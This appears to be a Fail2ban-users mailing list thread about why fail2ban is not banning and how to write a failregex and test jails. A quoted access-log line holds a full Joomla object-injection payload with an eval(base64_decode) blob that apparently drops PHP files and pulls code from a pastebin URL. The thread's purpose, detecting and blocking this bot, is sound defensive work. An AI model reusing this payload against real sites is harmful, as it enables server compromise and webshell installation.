A quick and dirty way to deal with that is in your filter file.
This isn't the best way but it will do it:
failregex = <HOST>.*JDatabaseDriverMysql
So that is using a 'regular expression' that says "the IP address, followed
by any characters, followed by the specific string JDatabaseDriverMysql"
Reload the jail, then see how it goes.
You need to make sure that jail is also set up ok. That's why we need your
conf and local files.
When you say "apache-overflow ignores it", that might be for several
reasons: 1) the regex might not be listed in apache-overflow.conf, or the
log entry might be too old (in the [apache-overflow] entry in jail.local,
"findtime" might not be long enough - and so on.
The failregex I just gave you will work for it - you can test it like this:
fail2ban-regex logfile.log "<HOST>.*JDatabaseDriverMysql"
--print-all-matched
Just replace logfile.log with the filename that has the offending log line
in it
Tony Collins
RMT Tier 1 Health & Safety Representative
Edgware Road Traincrew Depot
07949 228324
On 10 August 2018 at 18:01, Mauricio Tavares <raubvo...@gmail.com> wrote:
> On Fri, Aug 10, 2018 at 12:49 PM, Wayne Sallee <wa...@waynesallee.com>
> wrote:
> > Here is a 1 line log of a bot misbehaving:
> >
> > ***********************
> > "GET /administrator/ HTTP/1.1" 307 616 5588 "-"
> > "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"
> JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\"
> ;a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\
> ";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:5070:
> \"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1
> VNRU5UX1JPT1QnXSAuICIvdG1wL3Z1bG4yLnBocCIgOw0KJGZwPWZvcGVuKC
> IkY2hlY2siLCJ3KyIpOw0KZndyaXRlKCRmcCxiYXNlNjRfZGVjb2RlKCdQRD
> l3YUhBTkNtWjFibU4wYVc5dUlHaDBkSEJmWjJWMEtDUjFjbXdwZXcwS0NTUn
> BiU0E5SUdOMWNteGZhVzVwZENna2RYSnNLVHNOQ2dsamRYSnNYM05sZEc5d2
> RDZ2thVzBzSU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VmphRzhnSW1SdmJtVXlJQzVjYmlBaUlEc0
> 5DZzBLSkdOb1pXTnJNejBrWDFORlVsWkZVbHNuUkU5RFZVMUZUbFJmVWs5UF
> ZDZGRJQzRnSWk5MmRXeHVMbWgwYlNJZ093MEtKSFJsZUhReklEMGdhSFIwY0
> Y5blpYUW9KMmgwZEhCek9pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5ODRPRE
> IxWm1GWFJpY3BPdzBLSkc5d016MW1iM0JsYmlna1kyaGxZMnN6TENBbmR5Y3
> BPdzBLWm5keWFYUmxLQ1J2Y0RNc0pIUmxlSFF6S1RzTkNtWmpiRzl6WlNna2
> IzQXpLVHNOQ2cwS0RRb2tZMmhsWTJzMlBTUmZVMFZTVmtWU1d5ZEVUME5WVF
> VWT1ZGOVNUMDlVSjEwZ0xpQWlMMmx0WVdkbGN5OTJkV3h1TG1oMGJTSWdPdz
> BLSkhSbGVIUTJJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQnpPaTh2Y0dGemRHVm
> lhVzR1WTI5dEwzSmhkeTg0T0RCMVptRlhSaWNwT3cwS0pHOXdOajFtYjNCbG
> JpZ2tZMmhsWTJzMkxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNEWXNKSFJsZU
> hRMktUc05DbVpqYkc5elpTZ2tiM0EyS1RzTkNqOCsnKSk7DQpmY2xvc2UoJG
> ZwMik7DQo='));JFactory::getConfig();exit\";s:19:\"
> cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:
> 11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:
> 1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd"
> > ************************
> >
> > What's the best way to to set Fail2Ban to ban this kind of thing?
> >
> > [apache-overflows] ignores it.
> >
> If you know you will never use "feed_url" in a query, why not look
> for it?
> >
> > Wayne Sallee
> > wa...@waynesallee.com
> > http://www.WayneSallee.com
> >
> > On 08/10/2018 11:59 AM, Tony Collins wrote:
> >
> > The "missed" amount is the number of log entries that didn't get dealt
> with
> > either under a "fail" rule or an "ignore" rule.
> >
> > The best thing to do is, paste in your jail.local file, as well as your
> jail
> > filter .conf files. And then also include some of your fail2ban.log
> entries
> >
> > There could be loads of reasons why it isn't banning, and it's only
> possible
> > to diagnose it with a bit more info.
> >
> > It's easy to include more than one log file in a jail. Here's an excerpt
> > from my jail.local:
> >
> > [plesk]
> > enabled = false
> > action = %(ipset-action)s[name=%(__name__)s, bantime="%(bantime)s",
> > port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
> > %(mta)s-whois-lines-logsonly[name=%(__name__)s, sender="%(sender)s",
> > dest="%(destemail)s",
> > logpath=/var/log/php_errors.log;/var/log/old-logs/php_
> errors/php_errors.log.1;/var/log/plesk/httpsd_access_log;/
> var/log/plesk/httpsd_access_log.processed;/var/log/plesk/
> httpsd_access_log.processed.1,
> > chain="%(chain)s"]
> > logpath = /var/log/php_errors.log
> > /var/log/old-logs/php_errors/php_errors.log.1
> > /var/log/plesk/httpsd_access_log
> > /var/log/plesk/httpsd_access_log.processed
> > /var/log/plesk/httpsd_access_log.processed.1
> >
> > Note the two different ways of adding more than one log file - either
> > separated with a semi-colon ---> ; <--- or, separated with a newline.
> >
> >
> >
> > Tony Collins
> >
> >
> >
> > Tony Collins
> > RMT Tier 1 Health & Safety Representative
> > Edgware Road Traincrew Depot
> > 07949 228324
> >
> > On 10 August 2018 at 16:01, Wayne Sallee <wa...@waynesallee.com> wrote:
> >>
> >> Fial2Ban is doing nothing but sending me e-mails when I restart fail to
> >> ban. So at least that part works. :-)
> >>
> >> But it's not banning.
> >> Error statements are almost useless.
> >> Trying to run test commands or status commands gives me info that does
> not
> >> help.
> >>
> >> What's the best way to test a jail?
> >>
> >> What is the proper way to include more than one log file in a jail?
> >> How can I tell if the jail is using all listed log files?
> >>
> >> What does "2580 missed" mean?
> >>
> >> Wayne Sallee
> >> wa...@waynesallee.com
> >> http://www.WayneSallee.com
> >>
> >>
> >> ------------------------------------------------------------
> ------------------
> >> Check out the vibrant tech community on one of the world's most
> >> engaging tech sites, Slashdot.org! http://sdm.link/slashdot
> >> _______________________________________________
> >> Fail2ban-users mailing list
> >> Fail2ban-users@lists.sourceforge.net
> >> https://lists.sourceforge.net/lists/listinfo/fail2ban-users
> >
> >
> >
> >
> > ------------------------------------------------------------
> ------------------
> > Check out the vibrant tech community on one of the world's most
> > engaging tech sites, Slashdot.org! http://sdm.link/slashdot
> >
> >
> >
> > _______________________________________________
> > Fail2ban-users mailing list
> > Fail2ban-users@lists.sourceforge.net
> > https://lists.sourceforge.net/lists/listinfo/fail2ban-users
> >
> >
> >
> > ------------------------------------------------------------
> ------------------
> > Check out the vibrant tech community on one of the world's most
> > engaging tech sites, Slashdot.org! http://sdm.link/slashdot
> > _______________________________________________
> > Fail2ban-users mailing list
> > Fail2ban-users@lists.sourceforge.net
> > https://lists.sourceforge.net/lists/listinfo/fail2ban-users
> >
>
> ------------------------------------------------------------
> ------------------
> Check out the vibrant tech community on one of the world's most
> engaging tech sites, Slashdot.org! http://sdm.link/slashdot
> _______________________________________________
> Fail2ban-users mailing list
> Fail2ban-users@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/fail2ban-users
>
------------------------------------------------------------------------------
Check out the vibrant tech community on one of the world's most
engaging tech sites, Slashdot.org! http://sdm.link/slashdot
_______________________________________________
Fail2ban-users mailing list
Fail2ban-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/fail2ban-users